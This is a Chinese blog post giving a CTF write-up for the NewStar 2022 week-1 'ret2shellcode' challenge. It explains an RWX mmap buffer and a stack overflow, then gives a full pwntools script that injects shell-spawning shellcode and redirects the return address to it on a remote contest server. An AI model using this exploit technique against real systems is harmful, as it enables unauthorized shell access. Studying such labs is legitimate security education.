2022Newstar新生赛week1—ret2shellcode

先来看看开了什么保护机制

打开64位ida看看

有两次read,第一次read到了一个buf里,而这里面是mmap函数申请的一段空间,大小为0x1000,拥有可写可执行的权限,这些信息都是根据mmap的参数得来的,不会的自行百度,然后第二个read就是读到v4,v4是一个局部变量,在栈上,看了一下read的大小,0x100,栈溢出到天上了

找了一下,没有后门函数,连system函数都没有,那么我们就无法直接跳转执行了,那么我们发现第一个read可以读入0x100,完全够一个shellcode(shellcode一般0x20就可以读入),所以我们的思路是生成一个shellcode,通过第一个read读到一个可执行的地址,然后再通过第二个read栈溢出到返回地址,从而控制程序执行流到shellcode(也就是那个可执行的地址)上

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=remote('node4.buuoj.cn',25780)
p.recvuntil('me?')
payload=shellcode
p.sendline(payload)
p.recvuntil('else?')
payload=b'a'*0x38+p64(0x233000)
p.sendline(payload)
p.interactive()
posted @ 2022-09-28 22:18  予柒  阅读(479)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/